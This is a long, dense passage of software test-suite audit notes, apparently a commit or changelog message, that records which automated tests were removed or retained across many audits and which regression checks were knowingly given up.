Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Independently remove one authored/finite Playwright closed-gate app-boot inventory: accept loss of real renderer/preload/main refusal composition, saved-host row and Add/Move hiding/Remove visibility alarms. Keep the unchanged scripted-move rendered dialog lifecycle/reload case. It runs no real WSL migration, host connection, file copy or automation restoration. No selector or Playwright participation cleanup is required because the spec remains. Previous account (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole suites;35 authored/36 finite potential registrations remain in the combined reviewed scopes. Literal table potential counts are not executions. This source-only reduction has no equivalent replacement, fresh runtime result or merge credit. Root unit discovery deliberately loses entire message-row filtering/chunk reconstruction, discussion-pagination rejection passthrough, Linear bearer/stack redaction, new-profile telemetry/default/existing-JSON no-op, WSL user-trigger routing, terminal-delivery refusal, native-chat worker-approval UI, followup-paste routing, live-surface tombstone refusal, activity-bar hydration, fabricated approval-caller policy, child-PATH transformation and branch-review URL/identity suites. It also loses cache roundtrip/mode/fingerprint/fallback/no-op samples; GPU field-shape privacy examples; older auth-probe failure retention; orphan SQLite-sidecar/future-schema admission; usage tie/duplicate/composite-key examples; allocation-name sanitizer/unknown-prefix examples; real worker-and-backup preflight wrapper smoke; and JSONL descriptor-loop truncation. The discussion page contained id-only discussions without notes, so its rejection did not prove a nonempty notes-prefix oracle. The preflight did launch actual worker/backup entrypoints with production internal self-validation; removing its revision/version wrapper deliberately retires that real-entry smoke alarm. The skipped-prefix JSONL keeper rewrites/grows after collecting the suffix and before final validation, not concurrently during parsing. Retained queue rejection/recovery and held/drain mechanisms, recorder nonsettling-provider deadline, corrupt authoritative-DB refusal, legacy cache split migration, merge-added-row indexing, external-frame redaction, and pinned JSONL read/verification/mutation checks are bounded concrete oracles, not equivalent replacements for retired alarms. The full cloud relay cohort/ceiling/control suite is separately removed from the relay package runner, outside root unit discovery; no cloud runtime result is claimed. The Python computer-use benchmark remains unchanged tooling with zero authored/removal credit; no native benchmark trial ran. The package skill-sharing release selector drops only the exact already-deleted skills-suite token, with zero additional removal credit. Prior dated receipts, raw gaps, and complete earlier161/98/history notes remain exactly at their original scopes; no changed-source historical receipt becomes fresh reduced-suite evidence. Included approved26 alarm account: Broad root-unit discovery loses entire ref-label string, hostile/malformed CSV-link rendering, Codex filename-discovery, mocked paged-preview postscan mutation, usage path-containment, real symlink-ancestor, Codex skip RPC, local/remote inference routing, width-preference, and synthetic workspace-document input suites. It also loses the hand-assembled sorted CSV edit example, connect-time JPEG seed and invalid AVCC guard samples, and eight-record/64KiB detector boundary cases. The symlink suite exercised actual kernel traversal; its lost ancestor alarm could omit supplemental local editor watches and leave content stale, not bypass authorization. Retained linked stream cancellation, preview-only save fence, failed-flush dirty-draft preservation, clipboard byte/edit preservation, fragmented AVCC parsing and independent quoted-CSV interpretation checks do not replace these deliberately retired alarms. The stream fixture uses an in-memory source and does not establish actual fd cleanup; editor save endpoints are synthetic, browser events are synthetic, and no native focus, actual remote delivery, real disk write, cross-platform execution or interoperability is claimed. Earlier complete dated receipts, raw known gaps and previous notes are historical evidence at their original source/selector scope, not fresh evidence for this reduced suite. Audit3438 composes ROOT-adopted3434/independent3436: intentionally removes60 authored/62 potential expanded cases across16 sources, deleting9 whole suites. Eight authored/eight potential cases remain; delete the102line unused ACP fixture and57line unused teardown helper with zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses ACP model-catalog fixtures, resume-record projections, dashboard mock payload/state cases, mobile folder/launch/session examples and dictionary pipeline rows. Selected E2E removals also retire auto-conversion and golden-core journeys and one Windows CLI conversion registration. Retain ACP reply text across a resumed subagent, both VAD checks, focused tab send ownership, async focus ownership in happy-dom, the question-skip journey, the original managed Windows CLI lifecycle journey and dictionary substitution. These checks do not replace the removed alarms. Audit3470 composes ROOT-approved AUTHOR3466/PEER3467 source proposal: intentionally removes38 authored registrations/59 finite potential expansions, including8 whole registering suites, retaining13 authored registrations/18 finite potential expansions. The sole dead shell-recipe caller cleanup has zero additional test credit. No equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses process-import boundary, Korean/Japanese locale policy, worker-reset, mobile agent-history/queued-message and median-summary suites, plus packaged mobile-manifest, worker-pool fixture, HTML preview, mobile shell and terminal samples. The environment-provider contract and its sole shell-recipe caller are deleted. Separate cross-version-wire discovery loses the large byte-budget fresh-snapshot/replay sample while retaining independent live same-revision note publication; the retained terminal stale-refresh and dirty HTML draft persistence checks do not replace removed alarms. The source4 unused start/stop fixture hooks are removed; its retained nested failed-import test remains byte-exact with its own lifecycle. Unchanged SVG preview and Git-resolution registrations stay intact. Root balanced CI excludes the cross-version directory, which has a separate job; unbalanced root discovery can include its parent. No native app/device, actual remote, released-pair interoperability or cross-platform execution result is claimed. Audit3468 accepted source proposal AUTHOR3462/PEER3463, composed privately by audit3469: removes62 authored registrations/95 finite potential expansions, including5 whole suites, retaining25 authored registrations/29 finite potential expansions. ROOT approved source value; no equivalent replacement, fresh runtime or merge credit is claimed. Broad root-unit discovery loses the profile-state worker smoke, worker-agent views and three search discovery suites, plus samples from node-server qualification, skill-bundle generation, CLI hooks/profile/recovery/offline admission, permission-hook holds and search indexing. The separate Cloud relay runner loses one relay blackbox sample; unchanged mobile native-chat and dependent-transcript drivers remain. Retained source callback/table/ancestor/fixture bytes bind to the sealed candidate. No physical-device, mixed-version, remote, cross-platform or app execution result is claimed. Audit3460 final-v2 composes accepted AUTHOR3454/PEER3455 on actual post263 main: intentionally removes99 authored/106 potential expanded cases across16 selected drivers, including7 whole suites, retaining24 authored/26 potential cases. No equivalent replacement or fresh runtime is claimed. Broad root-unit discovery loses whole cross-client workspace-sync, terminal-preview, picker-skill-hint and close-routing suites plus reduced worker-stop, remote-owned-record, scanner, mobile-bundle and daemon-health samples. Separate E2E discovery also loses the paired mobile/desktop mirror journey and two unit drivers. Retained callback/table/outer-loop/guard bytes are exact; retained checks do not replace the removed alarms. No app, native device, mixed-version, remote or cross-platform execution result is claimed. Audit3456 composes ROOT-adopted3449/independent3450: intentionally removes62 authored/82 potential expanded cases from16 selected drivers, including7 whole suites, while13 authored/13 potential cases remain. Delete the unused48line legacy workspace-session JSON fixture with zero test credit. These are source-only reductions without equivalent replacement or fresh runtime claims. Broad unit discovery intentionally loses whole trust-dialog observer, background-turn notifications, redirected session refusal, typed-agent identity, chat-tab lifetime-cost, model-manager and mobile diff-review controller suites, plus individual persistence, synthetic composition, pairing, manifest and subprocess samples. Retain deferred snapshot dirty-domain persistence, two direct editor ownership cases, stream counter-domain distinction, two persisted pairing identity cases, parser entrypoint asymmetry, dictation retry and process-group timeout; paired restart and packaged old-binary/corrupt-profile journeys remain in their E2E driver scope. Retained checks do not replace removed alarms. No fresh execution, native IME/microphone, real authentication, mixed-version/platform or performance result is claimed. Audit3451 composes ROOT-adopted3444/independent3445: intentionally removes101 authored registrations across16 reviewed sources, deleting7 whole suites and reducing8; one reviewed source is unchanged. Fresh main has123 authored registrations before and22 after because an upstream direct-child shell regression remains verbatim with zero removal credit. Registered removals are100+7*S and explicit-active removals99+7*S, where S is the unprobed count0..3 of admitted bash/zsh/fish shells. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses extra stream lifecycle/forwarding examples, unreadable-store/cache projections, orchestration presentation/benchmark cases, remote-owned routing matrices, mobile legacy navigation and model-catalog listing/cache examples. Whole suites retire renderer client-event projections, manually assembled structured-session reader ownership, mobile prompt presentation, renderer AI-vault resume commands, mobile Jira URL lookup, composer retention and mobile folder source-repository queries. Retained checks preserve original stream/store/orchestration/routing/navigation/catalog cases and shell behavior, including the upstream direct-child case. No real provider, native desktop or mobile acceptance is established by this reduction. Audit3446 composes ROOT-adopted3441/independent3442: intentionally removes100 authored registrations/119 potential expanded cases (118 conditional-active before platform gates) across16 sources, retaining11 authored/13 expanded cases and deleting6 whole suites. Two parent registrar import/call cleanups and the unused68line CLI recording fixture carry zero test credit. No equivalent replacement or fresh execution is claimed. Broad unit and mobile discovery loses interrupt/wake registrars, task storage/session-close/account snapshot hooks, permission tables, copy/preference/model-discovery/composer examples, launch placement examples, VM projections and extra mobile-history scenarios. Retained checks cover abandoned versus dispatched fork uncertainty; /fast dispatch supersession; discovery lock release after exit; stale-send draft preservation; OSC status lifetime; future-version file preservation; launch cancellation before/during dispatch on both layout owners; mobile resume addressability before hooks; and recipe snapshot cleanup after plugin removal. The paired browser-link Electron source is unchanged. Terminal launch seams, mobile roles-only history and injected provider results do not establish native terminal destruction, transcript text fidelity or real remote provider cleanup. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses reduced or deleted relay, coordinator mail, recovery watchdog, automation observer, launch picker, folder PTY, profile restart, web migration, retirement, pointer delivery, agent-row and run-bound mailbox examples. Retained checks cover relay hello/payload and SIGTERM drain, coordinator pending-check and clear-to-Run continuity, profile persistence, the full six-row web merge table and real run-bound delivery waiter. These do not replace removed alarms. Audit3429 composes root-adopted3426/independent3427: intentionally removes168 authored/205 potential expanded cases across16 semantic sources, deleting11 whole suites and one304line unused assertion helper. Five authored/five potential cases remain; the duplicate500k graph row is dropped while its50k row and callback remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted migration/recovery/federation/rich-draft/paste/automation/mobile/catalog examples. Keep server-edit preservation during migration, native supervised cancellation holding the agent home until physical stop, pagehide lost-text preservation, graph old-result WRAPPER WeakRef collection with50k rows, and mobile React render isolation. The WeakRef does not prove all commit objects are collectible or a memory budget. Audit3425 composes root-adopted3420/independent3421: intentionally removes83 authored/112 potential expanded registrations across13 semantic sources, deleting7 whole conventional suites and1 registering helper;7 authored/10 potential expanded cases remain. No equivalent replacement or fresh execution is claimed. Broad unit discovery loses the adopted mock orchestration, refusal, restart and storage examples. Retain unchanged two-phase real-WSL deployment/survival, the reduced idle-release holder proof without restart/first-output measurement, real worker stop/release cleanup barrier rows, physical Git branch-preservation rows, and SSH disconnected-close proof. Other SSH and CLI variants and WSL telemetry/warmup churn are intentionally removed. Audit3417 composes root-adopted3415v2/independent3416v2: intentionally removes117authored/173potential expanded registrations from12semantic sources, deleting4whole conventional suites and3registration modules and retaining4authored/5expanded cases, without equivalent replacement or fresh execution. Broad root-unit discovery loses naming/title/queued-host fixtures, main-window focus-shortcut and attach-services mock orchestration, Git Bash console-capacity fake process inventories, most real-Git preparation/locking variants and Claude/Codex catch-up examples. Keep lifetime rejected-writer followed by late termination proof and autonomous real-checkout cleanup; two-row real-Git rollback after a real move preserving a replacement/admin marker or revoked permission; a live translator write during a held transcript read fencing stale Claude history append; and Codex expected-item revision rejection before a historical writer shim. Codex driver registers retained bounds exactly once with original inputs; bounds does not prove modern writer persistence. Accepted changed-lock preflight sentinel and omitted-parent routing losses are not replaced. Audit3413 composes root-adopted3405/independent3406 and3409/independent3410: intentionally removes337 authored registrations/363potential expanded cases from13sources, retaining31authored/32potential cases and deleting one whole clipboard suite, without equivalent replacement or fresh execution. Broad root-unit discovery loses35WSL examples,22STT examples,22shared-server-banner examples,18clipboard-handler examples (whole suite deleted),14VM lifecycle examples and16commit-message cancellation examples. Retain4WSL and7STT mocked connector/worker cases,1rendered stale-banner refusal,2VM guard/failed-compensation cases and1late-stream ownership cancellation case; real WSL/microphone/remote-provider proof is not established. Separately discovered e2e-unit drivers lose13cross-version-wire local cases and15mobile active-publication cases, keeping same-process disk-reopen/new-host cursor content/epoch/sequence outcomes and a host/renderer-snapshot selection and inventory revision race respectively. Imported released stop-note scenarios remain unchanged and receive no duplicate credit. Cloud suites are outside root UNIT_INCLUDE. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. The broad root-unit command loses the UNIT_INCLUDE src/ subset of retired examples; mobile is outside UNIT_INCLUDE. Other lost alarms are recorded by the adopted per-case source reviews. Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3381 composes root-adopted3376/independent3377 and3379/independent3380: intentionally retires436 authored registrations/670 expanded cases, including79 whole suites and12877 test lines, without equivalent replacement. Lost alarms include scheduling, account/host/status/filter/format inventories, microphone/image cleanup, title/bell/capability lifecycle routing, access/impersonation/outcome matrices, paste/input resend/ledger/retention, stale completions/reload containment, trust-read failure and popup OAuth/security/geometry vectors. Retained30 registrations/34expanded cases in22 suites preserve narrower SQLite TEMP/TZ/WAL, HTTP transcript root resume, mobile original-index Choose/Submit, child environment/Git lock expiry, stale ACK/PTY lifetime/peer fairness/durable replay/output ordering, actual DOM paste/editor focus, DEC2026 conservation, filesystem rollback, owned buffer lifetime, actual OSC parser/tracker handback, POSIX Python UTF8/fallback, durable trust concurrency/version, OpenSSH verdicts and hidden Chromium POST/route lifecycle. Mocked boundaries limit claims. Current bounded defining-owner reads preserve the retained oracles; captured identities are not full transitive semantic review. Both component blind pins authenticated before exchange; final reconciliation and explicit postpin3380reason correction supplement control, without retroactive blind claims. Root unit command excludes mobile and separately admitted Electron probes; use existing respective runners. No fresh execution, native focus/device/pixel UI, live SSH/remote, equivalent replacement or broad mixed-version/cross-platform validation is claimed. Prior dated receipts retain exact original scopes. Audit3375 composes root-adopted3370/independent3371 and3373/independent3374: intentionally retires79 authored registrations/84 expanded cases, including39 whole suites, without equivalent replacement. Lost alarms include federation field/parser inventories; Claude rejected-key precedence, credential clone redaction, managed-versus-user hook preservation and CLI defaults; setting/status/activity projections, mocked SSH/notification/reveal/Linear refusal, fake-clock reconnect and noise; image-fold artifact visibility, paste 